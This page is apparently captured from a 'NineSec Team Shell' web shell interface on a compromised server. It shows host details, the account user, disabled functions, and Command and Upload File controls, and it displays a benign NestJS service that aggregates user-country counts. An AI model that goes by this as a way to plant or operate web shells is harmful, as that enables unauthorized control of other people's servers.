NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/src/api/admin_panel/other/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/src/api/admin_panel/other/user_country_admin.service.ts
/**
 * Copyright 2023, the hatemragab project author.
 * All rights reserved. Use of this source code is governed by a
 * MIT license that can be found in the LICENSE file.
 */

import {Injectable} from '@nestjs/common';
import {UserCountryService} from "../../user_modules/user_country/user_country.service";
import {newMongoObjId} from "../../../core/utils/utils";

@Injectable()
export class UserCountryAdminService {
    constructor(readonly userCountryService: UserCountryService) {
    }


    async getUserCountries(id: string) {
        let agg = [
            {
                '$match': {
                    'uId': newMongoObjId(id)
                }
            }, {
                '$group': {
                    '_id': '$countryId',
                    'count': {
                        '$count': {}
                    }
                }
            }, {
                '$lookup': {
                    'from': 'countries',
                    'localField': '_id',
                    'foreignField': '_id',
                    'as': 'data'
                }
            },
            {
                $sort: {
                    'count': -1,
                },
            },
        ]
        return this.userCountryService.aggregate(agg)
    }

    async getCountriesInfo() {

        let agg = [
            {
                '$group': {
                    '_id': '$countryId',
                    'count': {
                        '$count': {}
                    }
                }
            }, {
                '$lookup': {
                    'from': 'countries',
                    'localField': '_id',
                    'foreignField': '_id',
                    'as': 'data'
                }
            },
            {
                $sort: {
                    'count': -1,
                },
            },
        ]
        /*
         {
             "_id": "63e983a5462f1f057f7b3760",
             "count": 2,
             "data": [
             {
                 "_id": "63e983a5462f1f057f7b3760",
                 "code": "SA",
                 "emoji": "πŸ‡ΈπŸ‡¦",
                 "unicode": "U+1F1F8 U+1F1E6",
                 "name": "Saudi Arabia",
                 "image": "https://cdn.jsdelivr.net/npm/[email protected]/dist/images/SA.svg",
                 "createdAt": "2023-02-13T00:26:14.142Z",
                 "updatedAt": "2023-02-13T00:26:14.142Z"
             }
            ]
         }
      */
        let data = await this.userCountryService.aggregate(agg)
        let res = [];
        for (let i of data) {
            try {
                res.push({
                    count: i["count"],
                    country: i["data"][0]
                });
            } catch (err) {
                console.log("Error while get userCountryService getCountriesInfo for loop!");
            }
        }
        return res;

    }

}

NineSec Team - 2022